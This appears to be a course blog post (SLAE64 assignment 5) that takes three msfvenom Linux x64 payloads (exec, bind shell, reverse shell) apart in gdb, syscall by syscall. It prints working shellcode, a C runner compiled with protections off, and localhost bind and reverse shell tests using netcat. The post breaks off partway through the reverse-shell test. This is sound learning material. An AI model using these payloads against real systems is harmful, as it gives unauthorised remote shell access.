Post

SLAE64 - Assignment #5 - Analysis of msfvenom payloads

Introduction

This is the blog post for the 5th Assignment of the SLAE64 course, which is offered by PentesterAcademy. The course focuses on teaching the basics of 64-bit Assembly language for the Intel Architecture (IA-x86_64) family of processors on the Linux platform.

The purpose of this assignment is to analyze 3 different payloads generated by msfvenom, which is a Metasploit standalone payload generator and has replaced msfpayload and msfencode. In order to explore the available 64-bit Linux payloads the following command must be executed: msfvenom -l payloads | grep "linux/x64" . The table below is used to navigate to each analysis and provides the description of each payload.

Msfvenom payloadDescriptionSize
linux/x64/execExecute an arbitrary command or just a /bin/sh shell21
linux/x64/shell_bind_tcpListen for a connection and spawn a command shell86
linux/x64/shell_reverse_tcpConnect back to attacker and spawn a command shell74

My code can be found in my Github: geobour98’s Github.

Analyzing shellcode

All the msfvenompayloads are analyzed with gdb, which is the GNU debugger and allows us to see what is going on “inside” another program while it executes.

The process that is followed for each payload is that the shellcode is extracted first and then it is tested in the file shellcode.c, as shown in previous blog posts. After that, each shellcode is going to be analyzed with gdb.

linux/x64/exec

The payload linux/x64/exec is used to execute an arbitrary command or just a “/bin/sh” shell.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ msfvenom -p linux/x64/exec --list-options
Options for payload/linux/x64/exec:
=========================


       Name: Linux Execute Command
     Module: payload/linux/x64/exec
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 21
       Rank: Normal

Provided by:
    ricky
    Geyslan G. Bem <geyslan@gmail.com>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    no        The command string to execute

Description:
    Execute an arbitrary command or just a /bin/sh shell



Advanced options for payload/linux/x64/exec:
=========================

    Name                Current Setting  Required  Description
    ----                ---------------  --------  -----------
    AppendExit          false            no        Append a stub that executes the exit(0) system call
    NullFreeVersion     false            yes       Null-free shellcode version
    PrependChrootBreak  false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork         false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid       false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid     false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid    false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid    false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid     false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid       false            no        Prepend a stub that executes the setuid(0) system call
    VERBOSE             false            no        Enable detailed status messages
    WORKSPACE                            no        Specify the workspace for this module

Evasion options for payload/linux/x64/exec:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

An arbitrary command could be set in CMD option, bit if it isn’t provided then the /bin/sh shell is going to be executed.

So, the following command utilizes the exec payload and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ msfvenom -p linux/x64/exec -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of c file: 114 bytes
unsigned char buf[] = 
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f"
"\x52\x5e\x6a\x3b\x58\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we need to compile the program:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode. The commands id and ls are executed in the /bin/sh shell.

1
2
3
4
5
6
7
8
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ ./shellcode 
Shellcode Length: 9
$ id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls
shellcode  shellcode.c
$ exit
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$

gdb

We load shellcode on gdb, set a breakpoint at the code variable, run and disassemble:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601040
(gdb) break *0x601040
Breakpoint 1 at 0x601040
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/1_exec/shellcode 
Shellcode Length: 9

Breakpoint 1, 0x0000000000601040 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x0000000000601040 <+0>:	movabs rax,0x68732f6e69622f
   0x000000000060104a <+10>:	cdq    
   0x000000000060104b <+11>:	push   rax
   0x000000000060104c <+12>:	push   rsp
   0x000000000060104d <+13>:	pop    rdi
   0x000000000060104e <+14>:	push   rdx
   0x000000000060104f <+15>:	pop    rsi
   0x0000000000601050 <+16>:	push   0x3b
   0x0000000000601052 <+18>:	pop    rax
   0x0000000000601053 <+19>:	syscall 
   0x0000000000601055 <+21>:	add    BYTE PTR [rax],al
End of assembler dump.

We can see from the instructions that 1 syscall is going to be executed and in order to identify its number and arguments we put another breakpoint before the execution at 0x0000000000601053. Then, we continue the execution of the program and check the contents of the registers at that point.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(gdb) break *0x0000000000601053
Breakpoint 2 at 0x601053
(gdb) c
Continuing.

Breakpoint 2, 0x0000000000601053 in code ()
(gdb) info registers
rax            0x3b	59
rbx            0x0	0
rcx            0x7fffffec	2147483628
rdx            0x0	0
rsi            0x0	0
rdi            0x7fffffffdba0	140737488346016
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba0	0x7fffffffdba0
r8             0x0	0
r9             0x14	20
r10            0x0	0
r11            0x246	582
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x601053	0x601053 <code+19>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall number, which is inside RAX, is 59 and according to the header file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h it is for the execve syscall. According to the manual page of execve syscall, its first argument is the program that is going to be executed. It is located in the RDI register. So, we can examine the contents of that memory location as string.

1
2
(gdb) x/s 0x7fffffffdba0
0x7fffffffdba0:	"/bin/sh"

The second and third arguments are located in RSI and RDX registers respectively and they both have the value 0.

As expected, since we didn’t provide an arbitrary command, the /bin/sh program is executed.

The analysis of the linux/x64/exec payload is over and the shellcode is working!

linux/x64/shell_bind_tcp

The payload linux/x64/shell_bind_tcp is used to listen for a connection and spawn a command shell.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ msfvenom -p linux/x64/shell_bind_tcp --list-options
Options for payload/linux/x64/shell_bind_tcp:
=========================


       Name: Linux Command Shell, Bind TCP Inline
     Module: payload/linux/x64/shell_bind_tcp
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 86
       Rank: Normal

Provided by:
    ricky

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LPORT  4444             yes       The listen port
RHOST                   no        The target address

Description:
    Listen for a connection and spawn a command shell



Advanced options for payload/linux/x64/shell_bind_tcp:
=========================

    Name                        Current Setting  Required  Description
    ----                        ---------------  --------  -----------
    AppendExit                  false            no        Append a stub that executes the exit(0) system call
    AutoRunScript                                no        A script to run automatically on session creation.
    AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
    CommandShellCleanupCommand                   no        A command to run before the session is closed
    CreateSession               true             no        Create a new session for every successful login
    InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
    PrependChrootBreak          false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork                 false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
    VERBOSE                     false            no        Enable detailed status messages
    WORKSPACE                                    no        Specify the workspace for this module

Evasion options for payload/linux/x64/shell_bind_tcp:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

We keep the default options to bind on port 4444.

So the following command utilizes the shell_bind_tcp payload and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ msfvenom -p linux/x64/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 86 bytes
Final size of c file: 389 bytes
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x52\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a"
"\x6a\x31\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a"
"\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21"
"\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
"\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we need to compile the program:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode. Then we connect with nc on port 4444 and execute the commands id and ls.

1st window:

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ ./shellcode 
Shellcode Length: 19

2nd window:

1
2
3
4
5
6
7
8
geobour98@slae64-dev:~$ nc localhost 4444
id
uid=1000(geobour98) gid=1000(geobour98) groups=1000(geobour98),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
ls
shellcode
shellcode.c
exit
geobour98@slae64-dev:~$

gdb

We load shellcode on gdb, set a breakpoint at the code variable, run and disassemble:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind$ gdb ./shellcode -q
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) print/x &code
$1 = 0x601060
(gdb) break *0x601060
Breakpoint 1 at 0x601060
(gdb) run
Starting program: /home/geobour98/SLAE/custom/SLAE64/5_Msfvenom_payloads/2_bind/shellcode 
Shellcode Length: 19

Breakpoint 1, 0x0000000000601060 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>:	push   0x29
   0x0000000000601062 <+2>:	pop    rax
   0x0000000000601063 <+3>:	cdq    
   0x0000000000601064 <+4>:	push   0x2
   0x0000000000601066 <+6>:	pop    rdi
   0x0000000000601067 <+7>:	push   0x1
   0x0000000000601069 <+9>:	pop    rsi
   0x000000000060106a <+10>:	syscall 
   0x000000000060106c <+12>:	xchg   rdi,rax
   0x000000000060106e <+14>:	push   rdx
   0x000000000060106f <+15>:	mov    DWORD PTR [rsp],0x5c110002
   0x0000000000601076 <+22>:	mov    rsi,rsp
   0x0000000000601079 <+25>:	push   0x10
   0x000000000060107b <+27>:	pop    rdx
   0x000000000060107c <+28>:	push   0x31
   0x000000000060107e <+30>:	pop    rax
   0x000000000060107f <+31>:	syscall 
   0x0000000000601081 <+33>:	push   0x32
   0x0000000000601083 <+35>:	pop    rax
   0x0000000000601084 <+36>:	syscall 
   0x0000000000601086 <+38>:	xor    rsi,rsi
   0x0000000000601089 <+41>:	push   0x2b
   0x000000000060108b <+43>:	pop    rax
   0x000000000060108c <+44>:	syscall 
   0x000000000060108e <+46>:	xchg   rdi,rax
   0x0000000000601090 <+48>:	push   0x3
   0x0000000000601092 <+50>:	pop    rsi
   0x0000000000601093 <+51>:	dec    rsi
   0x0000000000601096 <+54>:	push   0x21
   0x0000000000601098 <+56>:	pop    rax
   0x0000000000601099 <+57>:	syscall 
   0x000000000060109b <+59>:	jne    0x601093 <code+51>
   0x000000000060109d <+61>:	push   0x3b
   0x000000000060109f <+63>:	pop    rax
   0x00000000006010a0 <+64>:	cdq    
   0x00000000006010a1 <+65>:	movabs rbx,0x68732f6e69622f
   0x00000000006010ab <+75>:	push   rbx
   0x00000000006010ac <+76>:	mov    rdi,rsp
   0x00000000006010af <+79>:	push   rdx
   0x00000000006010b0 <+80>:	push   rdi
   0x00000000006010b1 <+81>:	mov    rsi,rsp
   0x00000000006010b4 <+84>:	syscall 
   0x00000000006010b6 <+86>:	add    BYTE PTR [rax],al
End of assembler dump.

We can see from the instructions that 6 syscalls are going to be executed and in order to identify their numbers and arguments we put breakpoints before each execution (0x000000000060106a, 0x000000000060107f, 0x0000000000601084, 0x000000000060108c, 0x0000000000601099 and 0x00000000006010b4). Then, we continue the execution of the program and check the contents of the registers.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) break *0x000000000060106a
Breakpoint 2 at 0x60106a
(gdb) break *0x000000000060107f
Breakpoint 3 at 0x60107f
(gdb) break *0x0000000000601084
Breakpoint 4 at 0x601084
(gdb) break *0x000000000060108c
Breakpoint 5 at 0x60108c
(gdb) break *0x0000000000601099
Breakpoint 6 at 0x601099
(gdb) break *0x00000000006010b4
Breakpoint 7 at 0x6010b4

1st syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 2, 0x000000000060106a in code ()
(gdb) info registers
rax            0x29	41
rbx            0x0	0
rcx            0x7fffffeb	2147483627
rdx            0x0	0
rsi            0x1	1
rdi            0x2	2
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba8	0x7fffffffdba8
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x246	582
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x60106a	0x60106a <code+10>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 41 (RAX register) is socket. It takes 3 arguments (domain, type and protocol) that are located in RDI, RSI and RDX respectively. RDI has the value 2 because of the AF_INET address family (IPv4). RSI has the value 1 because this is a TCP socket (SOCK_STREAM). RDX has the value 0 because a single protocol is supported on a particular socket.

2nd syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 3, 0x000000000060107f in code ()
(gdb) info registers
rax            0x31	49
rbx            0x0	0
rcx            0x400474	4195444
rdx            0x10	16
rsi            0x7fffffffdba0	140737488346016
rdi            0x3	3
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba0	0x7fffffffdba0
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x302	770
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x60107f	0x60107f <code+31>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 49 (RAX register) is bind. It takes 3 arguments (sockfd, addr, addrlen) that are located in RDI, RSI and RDX respectively. RDI has the value 3 since this is the return value (file descriptor) from the socket syscall execution. RSI has the value 0x7fffffffdba0 because it is the memory address of the struct that contains the protocol family value, the port and the interface to listen on. We can disassemble the program at this point in order to view those values.

1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb) disassemble 
Dump of assembler code for function code:
<snip>
   0x000000000060106c <+12>:	xchg   rdi,rax
   0x000000000060106e <+14>:	push   rdx
   0x000000000060106f <+15>:	mov    DWORD PTR [rsp],0x5c110002
   0x0000000000601076 <+22>:	mov    rsi,rsp
   0x0000000000601079 <+25>:	push   0x10
   0x000000000060107b <+27>:	pop    rdx
   0x000000000060107c <+28>:	push   0x31
   0x000000000060107e <+30>:	pop    rax
=> 0x000000000060107f <+31>:	syscall 
<snip>

The value 0 is pushed to the stack in order to listen on all interfaces (0.0.0.0). Then, the double word 0x5c110002 becomes the value at the memory location RSP is pointing at representing the port in little endianness (115c hex is 4444 dec) and the protocol family like before (2). Also, RDX has the value 16 because this is the size of the address struct.

3rd syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 4, 0x0000000000601084 in code ()
(gdb) info registers
rax            0x32	50
rbx            0x0	0
rcx            0x400474	4195444
rdx            0x10	16
rsi            0x7fffffffdba0	140737488346016
rdi            0x3	3
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba0	0x7fffffffdba0
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x302	770
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x601084	0x601084 <code+36>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 50 (RAX register) is listen. It takes 2 arguments (sockfd and backlog) that are located in RDI and RSI respectively. Both RDI and RSI have the same values like before in bind syscall.

4th syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 5, 0x000000000060108c in code ()
(gdb) info registers
rax            0x2b	43
rbx            0x0	0
rcx            0x400474	4195444
rdx            0x10	16
rsi            0x0	0
rdi            0x3	3
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba0	0x7fffffffdba0
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x302	770
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x60108c	0x60108c <code+44>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 43 (RAX register) is accept. It takes 3 arguments (sockfd, addr and addrlen) that are located in RDI, RSI and RDX respectively. RDI has the same value as in previous syscalls (file descriptor). RSI has the value 0 because nothing is filled in as the address of the peer socket. RDX has the value 16 because this is the size of the address struct.

5th syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 6, 0x0000000000601099 in code ()
(gdb) info registers
rax            0x21	33
rbx            0x0	0
rcx            0x400474	4195444
rdx            0x10	16
rsi            0x2	2
rdi            0x4	4
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdba0	0x7fffffffdba0
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x346	838
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x601099	0x601099 <code+57>
eflags         0x202	[ IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

At this point we have to connect with nc on port 4444 in order to continue.

By disassembling the program we can see that there is a loop executing the dup2 syscall (number 33) in order to redirect everything to the socket connected. This syscall takes 2 arguments: oldfd and newfd. oldfd is the return value from the accept syscall (RDI register) and RSI has the values 2, 1 and 0 in each dup2 execution for STDERR, STDOUT and STDIN respectively.

1
2
3
4
5
6
7
8
9
10
11
12
(gdb) disassemble 
Dump of assembler code for function code:
<snip>
   0x000000000060108e <+46>:	xchg   rdi,rax
   0x0000000000601090 <+48>:	push   0x3
   0x0000000000601092 <+50>:	pop    rsi
   0x0000000000601093 <+51>:	dec    rsi
   0x0000000000601096 <+54>:	push   0x21
   0x0000000000601098 <+56>:	pop    rax
=> 0x0000000000601099 <+57>:	syscall
   0x000000000060109b <+59>:	jne    0x601093 <code+51>
<snip>

6th syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(gdb) c
Continuing.

Breakpoint 7, 0x00000000006010b4 in code ()
(gdb) info registers
rax            0x3b	59
rbx            0x68732f6e69622f	29400045130965551
rcx            0x400474	4195444
rdx            0x0	0
rsi            0x7fffffffdb88	140737488345992
rdi            0x7fffffffdb98	140737488346008
rbp            0x7fffffffdbc0	0x7fffffffdbc0
rsp            0x7fffffffdb88	0x7fffffffdb88
r8             0x0	0
r9             0x15	21
r10            0x0	0
r11            0x346	838
r12            0x400470	4195440
r13            0x7fffffffdca0	140737488346272
r14            0x0	0
r15            0x0	0
rip            0x6010b4	0x6010b4 <code+84>
eflags         0x246	[ PF ZF IF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0

The syscall with number 59 (RAX register) is execve. It takes 3 arguments (filename, argv[] and envp[]) that are located in RDI, RSI and RDX respectively. RDI has the value 0x7fffffffdb98 because it is the memory address for the program to run, which is “/bin/sh”. We can examine that memory location as a string to verify that.

1
2
(gdb) x/s 0x7fffffffdb98
0x7fffffffdb98:	"/bin/sh"

RSI has the value 0x7fffffffdb88 because it points to the memory location of the string “/bin/sh”. RDX has the value 0 because there isn’t an array of strings that is passed as environment to the new program.

The analysis of the linux/x64/shell_bind_tcp payload is over and the shellcode is working!

linux/x64/shell_reverse_tcp

The payload linux/x64/shell_reverse_tcp is used to listen for a connection and spawn a command shell.

The next command shows the available options for this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ msfvenom -p linux/x64/shell_reverse_tcp --list-options
Options for payload/linux/x64/shell_reverse_tcp:
=========================


       Name: Linux Command Shell, Reverse TCP Inline
     Module: payload/linux/x64/shell_reverse_tcp
   Platform: Linux
       Arch: x64
Needs Admin: No
 Total size: 74
       Rank: Normal

Provided by:
    ricky

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
    Connect back to attacker and spawn a command shell



Advanced options for payload/linux/x64/shell_reverse_tcp:
=========================

    Name                        Current Setting  Required  Description
    ----                        ---------------  --------  -----------
    AppendExit                  false            no        Append a stub that executes the exit(0) system call
    AutoRunScript                                no        A script to run automatically on session creation.
    AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
    CommandShellCleanupCommand                   no        A command to run before the session is closed
    CreateSession               true             no        Create a new session for every successful login
    InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
    PrependChrootBreak          false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
    PrependFork                 false            no        Prepend a stub that starts the payload in its own process via fork
    PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
    PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
    PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
    PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
    PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
    PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
    ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through
                                                           proxy but directly to LHOST
    ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                          no        The specific communication channel to use for this listener
    ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
    StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                     false            no        Enable detailed status messages
    WORKSPACE                                    no        Specify the workspace for this module

Evasion options for payload/linux/x64/shell_reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------

We have to set the LHOST option to 127.1.1.1 in order to connect back to localhost and keep the default port 4444.

So the following command utilizes the shell_reverse_tcp payload and outputs the shellcode in C format.

1
2
3
4
5
6
7
8
9
10
11
12
13
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.1.1.1 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of c file: 338 bytes
unsigned char buf[] = 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

Now we can paste the extracted shellcode in the file shellcode.c. So, the whole C program is the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h> 
#include <string.h> 

unsigned char code[] = \ 
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97"
"\x48\xb9\x02\x00\x11\x5c\x7f\x01\x01\x01\x51\x48\x89\xe6"
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f"
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48"
"\x89\xe6\x0f\x05";

main() 
{ 
	printf("Shellcode Length: %d\n", strlen(code)); 
	
	int (*ret)() = (int(*)())code; 
	
	ret(); 
}

Now we need to compile the program:

1
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

In order to verify that the payload is working we must execute shellcode. Before that, we create a listener with nc on port 4444.

1st window:

1
2
3
geobour98@slae64-dev:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)

2nd window:

1
2
3
geobour98@slae64-dev:~/SLAE/custom/SLAE64/5_Msfvenom_payloads/3_reverse$ ./shellcode 
Shellcode Length: 17

1st window again:

1
2
3
4
5
6
7
8
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 35692)
id
